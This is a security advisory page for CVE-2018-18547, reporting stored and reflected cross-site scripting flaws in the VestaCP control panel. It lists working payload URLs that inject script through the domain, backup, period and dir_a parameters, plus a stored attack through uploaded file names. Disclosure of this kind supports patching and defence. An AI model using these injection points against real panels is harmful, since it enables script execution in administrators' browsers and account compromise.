VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22

2018.10.21

InfinitumIT (TR)

Risk: Low

Local: Yes

Remote: Yes

CVE: CVE-2018-18547

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

[+] Title: VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)
[+] Vendor Homepage: vestacp.com
[+] Version: Up to v0.9.8-22.
[+] CVE: CVE-2018-18547
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
[+] root@numanozdemir.com - info@infinitumit.com.tr

[~] Description:

Insert any XSS payload. I will use <img src onerror=alert(1337)>

https://IP:8083/list/directory/
-> Stored XSS:
A visitor may upload a file as named xss payload, using any form in your website.
If VestaCP user see this file in the interface, his browser will run the JavaScript.
So this vulnerability makes high risk.

https://IP:8083/edit/web/?domain=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/backup/?backup=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/rrd/?period=">%3Cimg%20src%20onerror%3Dalert(1337)%3E
-> Reflected XSS

https://IP:8083/list/directory/?dir_a=">alert(1337);//
-> Reflected XSS

// for secure days...

References:

https://numanozdemir.com/vesta-vulns.txt

CVE-2018-18547

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.